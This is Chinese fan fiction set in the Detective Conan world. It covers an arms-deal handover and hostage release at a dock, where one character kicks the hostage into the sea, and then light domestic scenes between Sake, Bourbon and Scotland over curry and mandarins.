六点二十二分,望远镜的视野里出现了一个移动的黑点,那是一艘中型渔船。 “来了。”羽泽熙真低声说。 绿川光放慢了呼吸,右手食指在扳机护圈外侧轻轻搭着,保持着随时可以击发的状态。 渔船靠岸,船上前后跳下来两个人。 前面那个是雷兹,他的棕色头发被海风吹得乱七八糟,嘴上叼着半根雪茄,看起来比那天晚上在酒吧里更加随意,也更加警觉。 后面那个应该是他的副手,一个剃着平头、脖子比脑袋还粗的壮汉。他站在雷兹身后半步的位置,警惕地扫视着码头周围的环境。 还有一个人留在了船上。驾驶舱里坐着一个戴着帽子的男人,看不清脸,手臂搭在方向盘上。 下了船的雷兹把雪茄从嘴上拿下来,看着空无一人的码头,有些不耐烦地单手叉起腰。 羽泽熙真低头看了看手表。今天是黑色的那块了。 现在是六点二十七分,距离约定时间还有三分钟。 波本是打算卡点出现吗? 二十八分。 码头依然空着。雷兹看起来更烦躁了。他把雪茄塞回嘴里,狠狠地吸了一口,然后吐出一大团烟雾。 他朝旁边的副手说了句什么,壮汉在周围转了半圈,摇了摇头。 二十九分。 依旧没人。 但出乎意料的是,雷兹看起来没那么焦躁了。他甚至脸上露出点笑意,不知道是不是被气笑的,大概已经意识到了安室透在玩什么把戏。 三十分整。 一辆轿车从集装箱后方缓缓驶出,停在雷兹的不远处。一个金发的青年从后座走下来,正是卡着时间到达的安室透。 他今天穿得西装革履,连头发都比平时梳得更整齐了一些。 羽泽熙真早上亲眼看着这家伙站在镜子前面,一手拿梳子一手拿发胶罐,对着镜子反复调整了至少五六次,直到每一根发丝都停留在它应该在的位置。 当时他站在那里看了十分钟,终于忍不住吐槽“你是去交易还是去走红毯。” 安室透从镜子里朝他笑了笑,说:“交易也是需要形象的,三田先生。” 那个笑容愉悦得让人毛骨悚然。 安室透或许很享受身份切换的过程。从酒吧学徒到西装革履的谈判者,这个身份的切换对普通人来说可能需要好几天来适应,但对安室透来说,只需要换一套衣服和一个发型。 他可以在昨天穿着白衬衫擦杯子,在今天穿着西装谈军火,在明天换回T恤蹲在阳台对着芹菜盆栽发呆。 这三个安室透都是真的,可能也都不是真的。 不过此刻站在码头上的安室透,确实对得起十分钟的发胶和那套明显不便宜的西服。 他一只手插在西裤口袋里,另一只手自然地垂在身侧,迈着不紧不慢的步子朝雷兹走过去,两个外围成员跟在他身后。 在距离雷兹大约两米的位置,他停了下来。 羽泽熙真透过望远镜看清了他的口型。 “雷兹先生,好久不见。” 从POP酒吧那一晚到现在,已经过去了将近两个星期。雷兹以准备货物为由推迟了交易时间,而安室透在他们商量好交易细节后没两天就从酒吧辞了职。 他们是有段时间没有碰面了。 “你来得很准时啊,安室。” 雷兹上下打量着安室透的装束,嘴角动了动,大概是觉得这个年轻人的变脸能力挺有意思。 “穿成这样,我差点没认出你。” “能和您这样的大人物合作可不容易。我觉得应该正式一点。”安室透笑道,“打理这身行头花了我不少工夫呢,还好赶上了。” 他朝渔船停靠的方向做了一个“请”的手势:“货物在船上?” 雷兹点点头。 接下来是毫无波澜的交易过程。一个外围成员去验了货,确认无误后,另一个外围成员把钱交给了雷兹的人。 那边确认钱数没问题,他们便搬起货来。 雷兹和安室透站在旁边有一搭没一搭的聊着天,没有动手帮忙的意思。安室透把手从口袋里抽出来,比划了一个什么动作,大概是在描述之前的某件事,雷兹被逗得笑了一声,雪茄差点从嘴里掉下来。搬完货,夕阳已经快要完全消失了。 安室透和雷兹握了握手,然后雷兹朝船上喊了一句什么,应该是他家乡的土话,羽泽熙真没看懂。 船上的驾驶员从驾驶舱里探出头来应了声。过了一会儿,他拎着一个死气沉沉的红头发年轻人从船舱里走出来,一路拖到岸上。 上了岸的年轻人腿一弯,直接蹲了下去,又挪了两步,面朝大海把自己蜷成一小团,一动不动。 那个就是被扣押的人质了,羽泽熙真想。莫吉托的红发下属——被派去验货,却被雷兹顺手留下当“定金”的倒霉蛋。 不过雷兹的人对他做了什么吗?怎么看起来状态那么差。 望远镜视野里的安室透也注意到了精神状态不太良好的人质,笑着和雷兹问了一嘴。 雷兹耸了耸肩,表示自己是无辜的,真的没做什么过分的事。 交易结束,雷兹没有多停留。他走上渔船,平头壮汉提着装有现金的手提箱紧随其后。 渔船的引擎重新发动,船身缓缓调头,朝着来时的方向驶去。海鸥被引擎声惊飞,在码头上空盘旋了几圈,又重新落回了集装箱上。 望远镜里,渔船的轮廓越来越小,最后变成海面上的一个小黑点。 “收工。”羽泽熙真放下望远镜,松了口气,“还挺顺利的。” 绿川光也终于从瞄准镜后面抬起了头,稍稍活动身上僵硬的肌肉。 “这次的处理方式,感觉都有些不像琴酒先生的风格了。我还以为会……” 他想了想,比划了一个抹脖子的动作。 “就像这样。” 羽泽熙真笑了一声:“前辈也不总是靠暴力解决问题嘛。” 绿川光笑着摇摇头。 “那个人质……是什么情况?”他拿起地上的水喝了一口,“看起来不太对劲。” “谁知道呢。大概是被关太久了。” 羽泽熙真正准备收起望远镜,突然,码头那边似乎出现了一些变故。 安室透和两个外围成员还站在岸边。安室透正在和负责验货的人说些什么,大概是交代下一步的安排。 原本那个红头发的年轻人面朝大海蹲在他们旁边,低着头,这会儿他把头抬了起来,朝安室透喊了一句什么。 他背对着羽泽熙真,所以口型读不到。但从他肩膀耸起的角度和脖子前倾的幅度来看,那句话不太客气。 安室透微笑地转过头看着红头发。 “你刚刚说什么?”他问。 红头发又喊了一句。音量应该比刚刚更高了,那两个外围成员都停下了手里的动作,同时转过头看过来。 怎么搞的。羽泽熙真皱眉。 “怎么了?”绿川光注意到他的动作变化,也跟着重新低头看向瞄准镜。 “那个红毛在闹情绪。”羽泽熙真说。 码头上,红头发年轻人猛然抬起手臂,手指指着安室透的脸,嘴巴快速地一张一合。 说到一半的时候他伸手指了指自己的胸口——一个强烈的自我认同手势,表示他在说和自己切身相关的事。 安室透无奈地摇了摇头:“总之,你先跟我们走,这里不安全。” 他往前走了两步,结果红头发大吼了一声“别过来”,接着指着安室透的鼻子,用尖锐的语调吐出了一句比前面更激烈的指控。 安室透停下步子,扶额叹气。 沟通失败。他朝废弃仓库的方向看了一眼,从西装内袋里掏出了手机。 羽泽熙真知道他要给谁打电话。 因为他的手机开始震动了。 37.雷兹(8)落汤鸡 “清酒大人。” 安室透轻快的声音从听筒里传过来,悦耳的很。但背景音里还有海风的呼啸声,和某个红毛崩溃地大喊大叫声。 “这边可能需要您亲自过来一趟呢,这位先生不肯跟我们走。”他说,“他不信任情报组以外的任何人,还说组织里行动组的人都不可信,大概是之前和谁结过怨吧。我也不清楚细节,但他现在就是不走。” 红毛在背景里喊出了一句完整的脏话。 安室透顿了顿,声音里多出了一点委屈:“而且一直在骂我,骂得好难听。” “等着。”羽泽熙真叹气。 他怀疑这个不怀好意的金毛只是想叫他过去一起挨骂。 明明他有一千种方法可以带着红毛离开,但他偏偏选了第一千零一种:打电话给清酒,让清酒也来感受一下情报组基层人员的词汇量。 只是,羽泽熙真作为本次行动的半个负责人,不得不去。 “太好了。” 安室透愉悦地应声,挂断了电话。 羽泽熙真身旁的绿川光若无其事地移开了目光。 “需要我一起去吗?”他问。 “不用。”羽泽熙真从口袋里摸出鸭舌帽扣在头上,“你收拾好东西回去就可以。今天辛苦了,苏格兰。” “这是我应该做的。” 从仓库走出大概二百米之后,红头发的声音就开始清晰起来了。 “……情报组的人……莫吉托……一个月……行动组……你们算什么东西……” 码头上的场景比羽泽熙真想象的要冷清一些。 两个外围成员已经不见了,大概是被安室透提前打发走的。 这是正确的决定,外围成员不需要看到太多内部矛盾,尤其是情报组和行动组之间的矛盾。 现在只剩下两个人,站着的安室透和蹲着的红头发,还有几只被车轱辘话吵烦了的海鸥,在集装箱上嘎嘎叫着抗议。 看到羽泽熙真走过来,安室透从口袋里抽出右手,朝他挥了挥。 “这边这边。” “你谁啊。”红头发转过头,毫不掩饰敌意地打量着来人,“你也是行动组的人?” “清酒。”羽泽熙真简短地报了自己的代号。 “哦——清酒。” 红头发的嘴角明显往下撇了撇,一副嫌弃的样子。 “清酒啊。那个琴酒身边的清酒。” “上车,”羽泽熙真懒得跟他掰扯身份问题,“我们送你回去。” “上车?你让我上车我就上车?” 红头发的声音重新拔高了。 “一天天的看到你们这些人就烦——好好的武器用两次就淘汰,三天两头的报损,子弹跟不要钱一样往外扔,行动效率还低的要死!从我被抓走过了多久了?整整一个月!你们到底在干什么?吃干饭吗?!” 羽泽熙真“啧”了一声。 行动组的子弹消耗量确实很高,武器也确实经常报损,但那是因为行动组承担了组织大部分的正面战斗任务。 至于行动效率的问题,是因为红头发的直属上司莫吉托在交易里吃了差价还谎报军情,导致整个任务需要重新规划。 他不打算费力解释这些。 红毛被关了一个月,雷兹说会定时让他出去放风,吃喝都是正常供应,但那无济于事。 他或许每天都焦虑又害怕,担心自己是不是已经被组织放弃了,不知道自己还有没有机会回到那个让他又爱又恨的情报组办公室里继续整理那些永无止境的情报档案。 今天他被放了出来,积攒的负面情绪终于找到了宣泄的地方——但这不是他能对两个陌生的、并且是来救他的人发火的理由。 “请先冷静一点。”安室透抬起手做了个往下压的动作,“我们这次来是为了——” “冷静?” 红头发又把矛头对准了安室透。 “还有你,你刚刚说自己之前也是情报组的对吧?你这个情报组的叛徒。投靠了行动组,觉得自己很了不起是吧?给别人当狗有什么好得意的?行动组的人根本不把我们情报组当人看——” 安室透也“啧”了一声。 羽泽熙真不由得在心里为眼前蹲在地上的红头发年轻人鼓了鼓掌。 敢指着两个带了枪的组织成员的鼻子破口大骂的人,这年头还真不多见。 这份胆量放在战场上或许是个好苗子,但放在今天的码头上,和找死没太大区别。 要是琴酒在这,恐怕这家伙在一开始说“别过来”的时候就脑袋开花了。 “……你们哑巴了?行动组的人不是最会嚣张了嘛!” 红头发估计是看没人理他,更生气了,面红耳赤地又吼了一句。 “一个个只知道喊打喊杀,一点脑子都没有。琴酒,对,琴酒——琴酒就是这样!你们行动组全是这个德行,琴酒——那个长毛疯起来连自己人都杀!” “他就是条狗,你们都是他的狗!迟早有一天会被人打死在臭水沟里,我就等着那一天——” 羽泽熙真踏上前一步。 “说完了吗?”他问。 红头发张了张嘴,看着羽泽熙真的眼睛。 他忽然打了一个寒颤。 不是因为那双眼睛里有什么危险的光芒,恰恰相反,那双金色的眼睛里什么多余的情绪都没有。 他把涌到喉咙口的下一轮谩骂咽了回去。 就在所有人都以为羽泽熙真只是要再警告一句的时候,他走过去,抬起右脚,干脆利落地一脚踹在了红头发的肩膀上。 “你——” 红头发的身体往旁边一歪,然后扑通一声巨响,整个人砸进了海水里。 海鸥被惊飞,发出了比之前更不满的鸣叫声。 码头的水泥边缘和海面之间大概有半米多的落差,水花溅得比人还高,溅到了安室透擦得锃亮的皮鞋上。 安室透站在旁边,嘴巴微微张开。 他低头看了看自己皮鞋上的水渍,又抬头看了看在水里扑腾的红头发,最后把目光落在羽泽熙真身上。 “清酒……你把他踹下去了。” “嗯。” 羽泽熙真站在岸边,双手插在外套口袋里,居高临下地看着水里的人。 “有什么问题吗?” “呃……没有吧。” 虽然不太道德,安室透也不提倡暴力。但他不得不承认,那一脚踹得的确让人感觉很痛快。 码头附近的水深大概在两到三米,深蓝色的海水在这个时间已经看不到底了。 红头发从水下挣扎着冒出头来。 他呛了一大口海水,咳嗽着,一边咳一边拼命往岸上扑腾,看起来水性不错。 “清酒你——咕噜。” 他刚开口,海水就灌进嘴里,后半句被咸水堵了回去。 “你们行动组——” 又呛了一口 。 反复了三四次之后,他终于学乖了,闭着嘴,把所有剩余的力气都用在了四肢上,努力地扒住了码头的边缘往上爬。 眼见着羽泽熙真又准备过去补一脚,安室透赶紧伸手拉住了他的胳膊。 “算了算了,可以了。”他忍笑,“他差不多能清醒点了。” 羽泽熙真瞥了他一眼,收回抬起半截的右脚。 红头发拼尽全力地想爬到岸上。但他呛了几口水,这会儿差不多力竭了,爬到一半差点要手滑重新掉回水里。 安室透眼疾手快地蹲下身,拽了他一下,把他硬生生拖上岸来。 气喘吁吁的红头发瘫坐在码头上,咳得浑身发抖。 他的衣服不断往下淌水,湿透的红毛贴在脑门上,让他看起来像一只被雨淋透了的愤怒的公鸡。 “现在,能走了吗?”羽泽熙真站在他面前。 红头发低着头,过了好一会儿才发出一个含混的鼻音。 那个鼻音的音节很模糊,可能是“可以”,也可能是一句压低了音量的脏话。 羽泽熙真决定把它理解为前者。 他朝安室透抬了一下下巴,安室透点点头,弯腰把红头发从地上扶起来。 红头发踉跄着站起来,甩开了安室透想扶他的手,自顾自地往码头外面走。 还挺有骨气呢。羽泽熙真看着他摇摇晃晃的背影,和安室透慢悠悠地跟在后面。 最后一丝晚霞也被夜色吞没了。 轿车还停在刚刚的位置,两个外围成员作在车前座等待着。 安室透拉开后座的车门,退后一步,让红头发自己钻进去。 红头发的湿衣服还在滴水,在座椅上浸出大片大片的水渍。 安室透没有介意——反正车不是他的。他从前座的储物箱里翻出一条干净的毛巾扔在他腿上。 红头发攥着毛巾,狠狠剜了他一眼。 “假惺惺。”他说。 能听出来,他用了最大的力气来让自己的声音听起来轻蔑而不屑。 安室透摇摇头,转过身无奈地和羽泽熙真对上了视线。 羽泽熙真在他的示意下,跟着他走远了几步,到轿车后备箱的位置。 “清酒,我先带他和货物回据点。”安室透站住,“如果顺利的话……算了,我今天晚些回去。” “我会给你留晚饭的。”羽泽熙真耸耸肩。 “感激不尽。” 安室透绕到黑色轿车的另一边,上了车,关上车门。 前座的外围成员发动了引擎。 就在车子即将开走之前,安室透忽然开口:“请等一下。” 他打开车窗,朝着站在不远处的羽泽熙真招招手,示意他过去。 羽泽熙真走过去,站在车窗前,低头看着安室透从车窗里探出来的脑袋,和扒着窗边的两只手。 “清酒,苏格兰去哪了?”安室透小声问道。 就知道是这个问题。羽泽熙真弯了弯眼睛。 “走了。”他说。 “……走了?” “嗯。”羽泽熙真点点头,“我让他先走了,苏格兰从中午一直守到现在,很辛苦。” “喔。” 这是失望的意思。 安室透把手从窗框上收回来,整个人靠回后座的椅背上,只有紫灰色的眼睛还看着这边。 “那我走了。”他说。 “再见。”羽泽熙真说。 38.美好的一天 初秋。 昏暗的卧室里,羽泽熙真缓缓睁开了眼睛。 厚实的窗帘遮光很好,任谁来也看不出,现在外面已经是早晨十一点了。 昨晚他睡得还算踏实,虽然中间醒了一次——凌晨四点左右,他听到隔壁房间的房门轻轻地打开,又合上。 应该是安室透出了门。 他等了一会儿,没再有多余的声响。于是他闭上眼睛,任由自己的意识再次沉入黑暗。 今天难得地没有任何任务,羽泽熙真没有定闹钟,放任自己一直睡到了自然醒。 令人满足的自然醒。 他在被子里翻了个身,整张脸埋进柔软的枕头里。枕套是昨天刚换的,还有洗衣液的淡香味。 鼻子和嘴巴都被布料堵住,呼吸逐渐变得困难。他索性屏住呼吸。 ——然后在快要被自己憋死的边缘,他猛然抬头,顺着力道坐起身来。 被子还披在背上。 羽泽熙真伸手摸过床头柜上的手机,按亮屏幕。 十一点二十分,没有未接来电和未读消息。 琴酒也没有找他,现在没有任何人需要他现在去任何地方做任何事。 美好的一天,和他预想的一样。 所以他提前约了苏格兰要去他家里做客,顺便一起整理近期得到的一些信息。 以往这些事都是在苏格兰来这里时做的。他们会在在公寓的客厅里,把近期任务中收集到的零散情报摊在茶几上,一边梳理一边讨论。 但现在有波本在,就变得不太方便了。 安室透原本是情报组的人,虽然他现在被派来监视清酒,名义上属于行动组,但他的情报组身份让很多涉及内部敏感信息的讨论变得微妙起来。 不是说他们不信任安室透——好吧,羽泽熙真确实不完全信任他——但整理敏感信息的时候,最好还是要避开那双太过明亮的紫灰色眼睛。 羽泽熙真下了床,从床头柜的抽屉里翻出药瓶,倒出一粒塞进嘴里。 瓶子没什么重量,他晃了晃瓶身,听到里面只剩下几粒药片撞击瓶壁的孤单声响。 琴酒上次给他拿的药已经所剩无几了,大概还够撑一周,最多十天。 希望前辈还记得他欠他两瓶药。 走廊上光线正好,屋里很安静,安室透应该是凌晨出了门就没回来。 羽泽熙真对于自己的大忙人室友去了哪里、做了什么完全没有兴趣去探究,他有无数个需要他半夜出门的理由:见线人,整理情报,跟踪某个被朗姆点名的人物,或者在某个不方便白天出现的场所调查某条线索。 只要他不要因为缺乏睡眠猝死在家里就好。这是羽泽熙真对他的室友为数不多的几个真诚的期望之一。 笔记本……笔记本…… 羽泽熙真在客厅书架的最下层找到了他的笔记本,那里记录了三田涉的身份信息。在安室透住进这里前,他顺手将苏格兰和他整理的外围信息塞了进去。 后来安室透开始有事没事地在书架上翻来翻去,羽泽熙真悄悄给它换了位置。但后来考虑到在某些人眼中这似乎属于公开信息,他就又放了回去。 现在这本笔记应该被动过了。 不知道安室透有没有把信息整理交上去。希望能早点引起某位大人的注意。 ——算了,今天不带这些了,好像没什么用。 羽泽熙真把笔记本放回原位,决定先做些咖喱放到冰箱里,他中午会顺便在苏格兰家里吃饭,安室透回家会没有饭吃。 咖喱这种东西,可以一次做出几顿的量来保存,拿出来放微波炉加热两分钟就能吃,方便又快捷。再把米饭提前蒸好放在锅里,这样就算他不在,安室透也能自己解决午饭和晚饭。 说干就干。 不久后,厨房里渐渐飘满了咖喱的香气。 羽泽熙真拿起筷子戳了戳锅中的鸡肉,还没有炖到火候,有点硬。 就在这时,公寓的大门发出了一声轻响,是钥匙插进锁孔之后转动的声音。 安室透回来了。 羽泽熙真回头看了一眼。他的室友今天穿的极其潦草——也可能是被迫潦草。 外套搭在肘间,白衬衫上破了两道口子,还沾上不少泥土和草屑,有干的有湿的,不知道的还以为他去泥地里打滚了。 羽泽熙真不知道安室透做了什么,也不想问,所以他认定安室透是去泥地里打滚了。 安室透远远看见正在厨房饶有兴致望着他的羽泽熙真,愣了一下,随即神色如常地打了个招呼。 “中午好。” “中午好,安室君。”羽泽熙真弯了弯眼睛,“洗完澡记得吃饭。” “多谢。” 安室透头也不回钻进了浴室。 羽泽熙真收回目光,继续专注于锅里的咖喱,用勺子搅了搅防止糊锅。 ……等等,安室透刚刚是不是没拿换洗的衣服? 嗯,问题不大。 反正还有浴袍不是吗,就挂在浴室旁边,虽然安室透不怎么穿它。 浴室的水声响了一阵,咖喱也煮得差不多了。 羽泽熙真懒得把它们盛出来,盖上锅盖就回了房间,去换外出的衣服。 当他再次路过客厅时,安室透刚好从浴室里出来。 ……准确地说,是没穿衣服的安室透。 腰上围了一条浴巾,白色的,长度只到大腿中段。上身完全赤裸,深色的皮肤上还挂着没擦干的水珠,水珠沿着胸肌和腹肌的轮廓慢慢往下滑,在浴巾的边缘被布料吸收。 简直有伤风化。 羽泽熙真草草扫了一眼,确认安室透身上没有多出额外的的伤口,就移开了目光。 安室透拿着毛巾在湿透的头发上揉着,看到羽泽熙真穿得整整齐齐的样子,脚步一顿。 “你要出门?”他问。 “嗯。” 羽泽熙真随口应声。 “去哪儿?”安室透又问。 羽泽熙真没有对他坦诚的必要。 他本可以随便说个什么地方,或者干脆不回答,但他今天实在放松,还没有完全对安室透升起戒备。 “苏格兰那里。”他如实答道。 安室透的毛巾从头上滑了下来,并羽泽熙真走向玄关的三秒内完成了从愣住到冲过来的全部动作。 羽泽熙真正弯着腰换鞋,就听见身后啪嗒的脚步声,随后被拽得一个后仰。 他顺着抓他外套的那只手往上看,看到了安室透那张清爽干净的脸。 “我也要去。”安室透说。 羽泽熙真直起腰,伸手把外套下摆从安室透手里拽出来——没拽动。 “你不能去。” “为什么?” 答案不是显而易见吗? 先不说他那颗情报组出身的精明脑袋里装了多少小心思,就凭他现在这副模样,他连公寓大门都出不去。 “因为他约了我,没有约你。”羽泽熙真说。 “我可以现在预约吗?” 安室透可怜兮兮地朝他眨眨眼。他金色的头发还湿漉漉的,像一只刚被人从浴缸里捞出来的金毛犬,毫无攻击性。 “不可以。” 羽泽熙真无情地扭头,拖着安室透费力地往前走了两步,手搭在门把手上。 太累了。 “放手。” “那你带我一起去。” “你不能去。” “为什么?” “因为那是苏格兰的私人空间,我不能允许你一个情报人员去那里。” 羽泽熙真抛出了第二个理由。这个理由比第一个更尖锐,更不讲情面。他本不想把话说得这么直接,但安室透显然不吃温和的那一套。 但安室透还是不依不饶地抓着他的外套,已经把原本整洁的下摆捏成了一小团。 “我不会做什么的,”他认真地说,“我保证。” “那也不行。” 羽泽熙真的耐心快要耗尽了,他试图去掰安室透的手指。 掰开食指,无名指缠上来,掰开无名指,中指又勾住了他的口袋。 他开始认真考虑要不要把这件外套脱了直接走人,但那样的话安室透会抱着他的外套跟在后面,画面更加无法直视。 “安室透。”他闭了闭眼,“放手。” 羽泽熙真的声音冷下来时,倒是和琴酒有五分相像。 换个人来说不定会被唬住,但安室透明显属于毫无畏惧的那种。 “…… 那你带我一起去。” “你不能去。” “为什么我不能去?” 苏格兰的家是苏格兰的私人空间,你波本是一个情报人员,你没有理由去苏格兰家里。 羽泽熙真不想再解释了。 “放手。”他说。 “那你带我一起去。”安室透以其惊人的毅力和脸皮给出了完全不变的回应。 这是第几个循环了? 羽泽熙真有点绝望,这简直是一个永无止境的死循环。 “波本。你先放手,可以吗?” 再纠缠下去也不是办法,羽泽熙真决定换一种策略。 安室透扁了扁嘴,松开手指。 “很好,离我远一点。”羽泽熙真将双手抱在胸前,“然后求我。” 安室透退后两步,毫不犹豫:“求你了。” “……求也不行。” 羽泽熙真转头,握住门把手,拉开,闪身出去,然后反手把门拉上。一气呵成。 他抓住门把手,迅速从口袋里掏出钥匙准备反锁。 钥匙插进锁孔,可还没来得及转动,门就被生生拽开了,他甚至被生生往前拖了两步。 安室透从门缝里探出半个脑袋,金色的湿发垂下来,那只露在外面的紫灰色眼睛眨了眨。 可以,很有力气。 羽泽熙真收回手,退后几步留出空间,看着临时披上一件外套的安室透从公寓里钻出来。 幸好这栋楼没有其他住户,不然邻居可能会报警。 他叹了口气。 要不直接把这家伙打晕绑在家里算了,虽然那可能对他们的关系造成一些不可弥补的裂痕,顺便还要顶着安室透谴责的目光生活至少一个月,但总比带着一个满肚子小心思的情报人员去拜访苏格兰要强。 安室透敏锐地察觉了什么。 “清酒,你是不是想软禁我?” 羽泽熙真:“……” 羽泽熙真:“我没有想软禁你。” 这个应该称为硬禁。 “那你为什么不准我出门?” “你可以出门,你可以去任何你想去的地方,除了苏格兰家。” “可我只想去苏格兰家。” 羽泽熙真气笑了。 “那好。” 他伸手从口袋里摸出手机,看着安室透的眼睛,一字一顿。 “我给苏格兰打电话。他同意让你去,你就去。中间你不许插嘴。” 安室透乖巧地点了点头,手在嘴边做了个拉拉链的动作,随后把双手背在身后,表示自己会乖乖闭嘴。 羽泽熙真翻出绿川光的号码,按下拨号键。很快那边接了起来。 “清酒?” 绿川光的声音从听筒里传过来,背景有一点细微的抽油烟机运转的嗡嗡声,大概是在做饭。 “苏格兰,是我。”羽泽熙真瞥了安室透一眼。 安室透用口型说了几个字——快问我。 “是这样的,”羽泽熙真收回目光,“波本他听说我要去你那里,非要跟着一起来。我觉得这不太妥当,你也这么想,对吧?” 对面沉默了一瞬。 “……苏格兰?” “没关系啊,”绿川光的声音温和而平稳地响起,“让他一起来吧。” 羽泽熙真:? 他把手机从耳边拿开,看了一眼屏幕上显示的通话时间和联系人姓名,确认自己没有拨错号码。 “你的意思是,你同意让他去你家?”羽泽熙真困惑地又问了一遍。 “嗯,我同意了。”绿川光轻笑。 旁边的安室透嘴角都要翘到天上去了。 “……知道了。”羽泽熙真撇撇嘴,“我们大概四十分钟后到。” “好的,路上小心。”绿川光顿了顿,“波本喜欢吃什么?我多做一点。” 那必然是芹菜。 “你做什么他都吃。”羽泽熙真面无表情地挂断了电话。 他把手机放回外套口袋里,看着安室透那张笑得毫不收敛的脸,觉得自己的太阳穴在突突地跳。 安室透歪了歪头:“我可以去了吗?” “先把自己收拾好。” “是!清酒大人!” 39.还算美好的一天 羽泽熙真与把自己打理得人模人样的安室透来到了绿川光的家中。 “打扰了,苏格兰先生。” 安室透在绿川光拉开门的那一刻微微欠身,声音温润有礼,微笑礼貌又妥帖。 他和半小时前在公寓门口拽着羽泽熙真衣服不放的那个人之间,隔了至少三个平行世界。 “不会。请进来吧。” 绿川光轻轻把门关上,低头看向安室透和羽泽熙真两人手中的物品。 他们俩一人拎着一个袋子。 安室透手里的那个装的是橘子,羽泽熙真手里的似乎是一个保温盒。 “这是我们在路上买的。”安室透主动掏出两个橘子扬了扬:“看,很新鲜。” “谢谢。” 绿川光接过橘子,走到客厅,把它们摆到茶几的果盘上。 那里原本还摆着几个苹果和梨,上面挂着晶莹的水珠,不久前才洗过的。刚放进去的橘色夹在红色和淡黄色之间,整个果盘的颜色更鲜亮了。 羽泽熙真轻车熟路地走到沙发边上坐下,掏出保鲜盒放在果盘旁边。 “这是我做的咖喱,原本打算留给波本吃,他非要来你这里——就当是加个菜吧。” 绿川光闻言瞥了安室透一眼。 安室透在羽泽熙真身侧坐得端正,朝他露出个乖巧的笑容来。 “可以。”绿川光笑了笑,“今天的菜比较清淡,加一份咖喱正合适。” 他拿起茶几上的一只玻璃水壶,给两人各倒了一杯水,随后转身回了厨房。 苏格兰的警惕心有待提升啊。 既然家里没有监控,他怎么能毫无防备地将两个组织成员留在自己看不到的地方呢? 特别是,在其中一个明显对这个地方兴趣满满的情况下。 羽泽熙真一直在注意身侧的安室透,从进门开始,这个家伙对于“苏格兰的私人空间”的观察就没有停下过。 比如在弯腰换鞋时扫一眼鞋柜里有哪些鞋子,或者在路过电视旁时碰一下柜子上摆着的小饰品。他的观察方式很隐蔽,能在毫不突兀的小动作间得到他想要的东西。 到现在,他应该已经把表面上能找到的信息全部收入囊中了。 安室透的目光停在了墙边的某样东西上。 那是一把贝斯,靠在墙角,看起来有些年头了。但保养得很好,它的主人大概每隔一段时间就会把它拿出来调音、擦拭,可能还会即兴弹上几段。 安室透盯着它看了半晌,一言未发地移开了目光,安静望着苏格兰在厨房里忙碌的背影。 他在想什么呢? 羽泽熙真不想探究那名为“怀念”的情绪下面,藏着怎样的过去。 那和他一点关系都没有。 他伸手从桌上的果盘里摸了个橘子,不紧不慢地剥开小半外皮,拎了一瓣塞进嘴里。 嗯…… “安室君,吃橘子吗?”他扭头把橘子递过去。 “什么?” 安室透转过头,看到羽泽熙真手里缺了一瓣的橘子,瞬间警惕起来。 “很酸?”他问。 这种怀疑并不是空穴来风。 大概两周前,羽泽熙真从超市买回来一盒打折的小番茄,洗了一碗放在茶几上。 他自己先尝了一颗,然后面不改色地扭头叫路过的安室透过来,拿起一颗塞到了毫无防备的安室透的嘴里。 紧接着安室透的表情变得极其精彩。 而羽泽熙真刚刚喊他吃橘子的语气和喊他吃小番茄没什么区别。 “是甜的啊。”羽泽熙真弯起眼睛,“你尝尝不就知道了。这些橘子是你挑的,你总该信得过自己的眼光吧?” “好吧。” 安室透犹豫着,半信半疑地取了一瓣塞进嘴里。 他轻轻咬下。 “啊,好甜。”他愣了一下。 橘瓣在他嘴里被咬破的瞬间,甜味的汁液充满了整个口腔。甜得纯粹,不带任何酸涩的杂质,像是在咬一颗充满汁水的糖果。 “是吧。” 羽泽熙真把手里剩下的橘子都塞给了他,自己重新从果盘里拿了一个。 “等回去的时候再买些吧。”安室透吃着橘子,含含糊糊地说。 “好。” 新拿的橘子也很甜,羽泽熙真慢悠悠地解决掉了它。 这时,绿川光的声音远远从厨房方向传来。 “可以吃饭了哦。” “好的——” 安室透从沙发上弹起来的速度比琴酒拔枪还快。他立刻挂上了笑脸,拖着长音就跑过去了。 羽泽熙真把橘子皮放在茶几上,用纸巾擦了擦手指,站起来跟在安室透后面走过去。 餐桌被摆得满满当当的,鱼、肉、时令蔬菜,加上安室透非要羽泽熙真一起带过来的那份咖喱,足足有五菜一汤。 值得注意的是,五道菜里有一盘翠绿的凉拌芹菜,而芹菜在苏格兰的日常菜单中出现的频率似乎不算高。 整顿饭安室透都在埋头吃,只有在夹菜的间隙才会抬起头,抬眼看看周围。有一次恰好和绿川光的视线撞上,绿川光笑了笑,问他味道怎么样。 “很好吃。”安室透说,“非常好吃。” 这绝不是奉承,看他吃了多少就知道了——他的第二碗米饭正在以平稳的速度消失中。 当然,羽泽熙真也觉得非常好吃,这是实话。 三个人,五个菜,但盘子里连汤汁都没怎么剩下。 绿川光站起身准备收拾桌子,安室透乖觉地快他一步,把空碗摞在一起,筷子横放在碗上,端起来就往厨房走。 他拧开水龙头,把碗放到流水下。 这是要洗碗了,绿川光甚至都没反应过来,手里还保持着刚才准备拿碗的姿势,但碗已经被安室透全部端走了。 真勤快。羽泽熙真坐在餐桌边,撑着脑袋啧啧称叹。波本大人今天的表现可以被打一个满分。 绿川光拿着擦桌子的抹布走过来。 “吃得怎么样,清酒?”他问。 “很满足。”羽泽熙真笑道,“感谢苏格兰大人的盛情款待。” 绿川光无奈地摇了摇头,俯身用抹布擦过桌上的油迹。 羽泽熙真作为餐桌上唯一的闲人,自得其乐地坐在那里看着两个人忙碌。 他倒是想做些什么,但正在厨房洗碗的安室透让一切计划都泡了汤。 “苏格兰,”他低声开口,“你为什么同意让波本和我一起来?” “嗯?” 绿川光似乎不觉得这件事有什么需要特别解释的地方,稍微考虑了一下。 “因为我觉得,他应该会对这里很感兴趣。” 他当然感兴趣。羽泽熙真在心里想。他不感兴 趣才不正常。 “但他的兴趣不值得用你的隐私来满足。” “……” 绿川光愣了愣,慢慢站直身体。 清酒这个人就是这样,护短护到骨子里了——而且还有明确的等级分层,比如苏格兰的安全在他心里的重要程度甚至大于波本一整个人。 苏格兰有时候会想,自己究竟是做了什么才会在清酒心里占据这样的地位。没有答案。就算把这个问题直接拿去问羽泽熙真,他自己也不一定能说得明白。 “……谢谢,清酒。”绿川光认真地低声说,“但别担心,我觉得……他真的没什么恶意。” 羽泽熙真没再说什么。 因为安室透正在往这边走过来。 “你们两个偷偷摸摸的——”金发青年双手抱臂,“在说我的坏话吗?” “没有。”绿川光朝他笑笑,“在夸你。” “喔。夸我什么?” 